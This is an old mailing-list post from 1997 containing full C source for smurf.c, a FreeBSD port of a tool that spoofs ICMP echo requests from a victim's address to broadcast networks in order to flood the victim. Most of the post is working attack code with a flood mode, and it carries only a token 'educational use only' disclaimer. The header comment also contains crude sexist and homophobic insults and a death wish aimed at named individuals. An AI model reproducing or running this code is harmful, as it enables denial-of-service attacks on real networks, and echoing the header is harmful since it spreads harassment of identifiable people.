smurf.c ported to freebsd and friends

Jimbo Bahooli (griffin@BLACKHOLE.ICEWORLD.ORG)
Mon, 13 Oct 1997 22:43:25 -0500

Here is Tfreaks code ported to FreeBSD and whatever other
operating systems use BSD style sockets.

---- smurf.c ----

/*
* $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting in
* multiple replies to that host from a single packet.
*
* orginial linux code by tfreak, most props to him, all I did was port it to
* operating systems with a less perverse networking system, such as FreeBSD,
* and many others. -Griffin
*
* mad head to: nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea
* pig, MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain cos he
* rox my sox, zuez, toxik, robocod, and everyone else that i might have
* missed (you know who you are).
*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy thing
* he is (he's -almost- as stubborn as me, still i managed to pick up half
* the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
*
* mad anal to: #madcrew/#conflict for not cashing in their cluepons, EFnet
* IRCOps because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to his
* penis and anyone that can't pee standing up -- you don't know what your
* missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill Robbins
* for trying to steal my girlfriend. Not only did you show me no respect
* but you're a manipulating prick who tried to take away the most important
* thing in the world to me with no guilt whatsoever, and for that I wish you
* nothing but pain. Die.
*
* disclaimer: I cannot and will not be held responsible nor legally bound for
* the malicious activities of individuals who come into possession of this
* program and I refuse to provide help or support of any kind and do NOT
* condone use of this program to deny service to anyone or any machine. This
* is for educational use only. Please Don't abuse this.
*
* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed them.
* -shrug-, programming for me as always seemed to take the pain away ...
*
*
*/

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned int host2ip(char *hostname);
unsigned short in_chksum(u_short *, int);

unsigned int
host2ip(char *hostname)
{
static struct in_addr i;
struct hostent *h;
i.s_addr = inet_addr(hostname);
if (i.s_addr == -1) {
h = gethostbyname(hostname);
if (h == NULL) {
fprintf(stderr, "can't find %s\n.", hostname);
exit(0);
}
bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);
}
return i.s_addr;
}

/* stamp */
char id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";

int
main(int argc, char *argv[])
{
struct sockaddr_in sin;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0,
x;
char buf[32], **bcastaddr = malloc(8192);

banner();
signal(SIGINT, ctrlc);

if (argc < 6)
usage(argv[0]);

sin.sin_addr.s_addr = host2ip(argv[1]);
sin.sin_family = AF_INET;

num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);

if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n')
buf[i] = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);

if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
if (pktsize > 1024) {
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit(-1);
}
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast));

printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

for (i = 0; i < num || !num; i++) {
if (!(i % 25)) {
printf(".");
fflush(stdout);
}
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0)
cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}

void
banner(void)
{
puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n");
}

void
usage(char *prog)
{
fprintf(stderr, "usage: %s <target> <bcast file> "
"<num packets> <packet delay> <packet size>\n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);
}

void
smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct ip *ip;
struct icmp *icmp;
char *packet;
int hincl = 1;

packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize);
ip = (struct ip *) packet;
icmp = (struct icmp *) (packet + sizeof(struct ip));

memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl));
ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_v = 4;
ip->ip_ttl = 255;
ip->ip_tos = 0;
ip->ip_off = 0;
ip->ip_id = htons(getpid());
ip->ip_p = 1;
ip->ip_src.s_addr = sin.sin_addr.s_addr;
ip->ip_dst.s_addr = dest;
ip->ip_sum = 0;
icmp->icmp_type = 8;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize,
0, (struct sockaddr *) & sin, sizeof(struct sockaddr));

free(packet); /* free willy! */
}

void
ctrlc(int ignored)
{
puts("\nDone!\n");
exit(1);
}

unsigned short
in_chksum(u_short * addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) addr;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}

--- end ---